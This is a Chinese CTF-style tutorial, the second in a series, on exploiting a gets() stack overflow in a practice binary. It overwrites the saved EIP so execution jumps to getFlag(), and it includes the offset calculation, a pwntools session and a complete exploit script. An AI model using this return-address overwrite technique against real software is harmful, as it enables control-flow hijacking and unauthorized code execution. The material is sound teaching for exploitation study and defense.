0x01 环境和程序准备
本文接上一篇文章,所以本文所用的环境和程序是和上一篇文章相同的,可参考《PWN简单堆栈溢出漏洞利用(一)》,两篇教程中使用的程序是一样的,但是为了区分开来我们需要在“/home/pwn/pwn1/"目录下建立flag文件。
注意,阅读本文前请务必提前阅读《PWN简单堆栈溢出漏洞利用(一)》,否则你可能不知道我在说什么。
0x02 程序分析
具体的main函数和getFlag()函数内容可以参考上一篇文章的程序截图,但是pwn1程序的foo函数是有些不同的,具体内容如下:
上一篇文章中我们已经分析过这个程序了,这里简单的再提一下,关键点在一getFlag()函数,从foo()函数中我们可以知道 if 语句这一行是恒为false的,我们之前利用了gets()函数输入让变量s溢出,然后覆盖了参数a1让a1=0x61616161,这样if就可以为true了。但是这个foo()中并没有if判断,值存在输入和输出,但是gets()函数输入溢出漏洞仍存在。下面我们考虑,是不是还有别的方法呢?我们看一下foo的函数栈结构,该栈结构和之前的是一样的。
我们上一篇说到的是用s溢出0x1c + 0x4 + 0x4然后再写入0x61616161覆盖掉a1,使a1的值为0x61616161,所以if的判断会成立。我们再分析一下,之前函数栈的文章中我们提到过,EIP的作用是存的函数返回地址,那我们就可以大胆猜想,如果直接覆盖掉EIP那么会发生什么?没错,我们可以让这个程序实现任意地址跳转,所以我们只要控制foo的返回地址为getFlag()函数的地址那就万事大吉,直接转到getFlag()函数进行执行,下面我们来测试一下。
0x03 溢出覆盖EIP实现任意跳转
其实覆盖EIP是一种很常见的方式。我们首先计算一下s变量溢出所需要的长度为:0x1C + 0x4 = 0x20 = 32 ,一共是32个字节就可以到达EIP的边界。那么问题来了,我们怎么拿到getFlag()函数的地址呢? 其实该地址是确定的,当程序生成的时候就已经确定了,我们可以看一下getFlag()函数的汇编代码:
我们能看到该函数的入口地址是0x0804855b,其实这个地址是固定的,在IDA中也可以分析出来,二者的值是一样的。下面再介绍一种新姿势,pwntools库其实是有可以直接获取函数地址工具的方法的,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
In [1]: from pwn import * [!] Pwntools does not support 32-bit Python. Use a 64-bit release. In [2]: elf = ELF("pwn1") [*] '/root/pwn/docker_lib/pwn/pwn1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) In [3]: elf.symbols['getFlag'] Out[3]: 134514011 In [4]: hex(134514011) Out[4]: '0x804855b' |
使用ELF方法中的symbols['getFlag']对象可以分析出getFlag()函数的地址,同样为0x804855b。那么根据上面的分析我们可以写出下面的Payload和脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
#-*- coding: utf-8 -*- from pwn import * #start debug context.log_level = 'debug' pwn = process('./pwn1') elf = ELF('pwn1') getFlagAddr = elf.symbols['getFlag'] print pwn.recvline() payload = 'A' * 0x1C + 'A' * 0x4 #覆盖EIP地址为getFlag()函数地址 payload += p32(getFlagAddr) pwn.sendline(payload) print pwn.recvline() #接收输出的flag print pwn.recvline() |
上面的脚本很简单,就是获取了getFlag()函数地址然后进行溢出封包替换,当程序运行到ret的时候就会跳转到EIP的地址上,也就是我们的getFlag函数中。
程序运行截图如下:
可以看到,我们已经成功的运行了getFlag()函数,并且读取到了文件中的flag。
0x04 总结
从近两篇教程中我们都是利用gets的溢出漏洞来控制程序的执行流程,第一篇文章中我们覆盖了参数使if判断成立,本文中我们覆盖了函数的返回地址EIP,这都是比较常见的两种方式,也是最简单的玩法,但通常我们遇到的程序可能没这么简单。我们应该结合多种工具来分析程序,像文章中提到的IDA和gdb-peda,还有pwntools,学会使用工具可以达到事半功倍的效果。
在后面的文章我们将进一步了解溢出漏洞的利用,以及注入shellcode,让程序反弹shell等。下一篇文章我们不见不散。
本文程序下载(密码:akcz):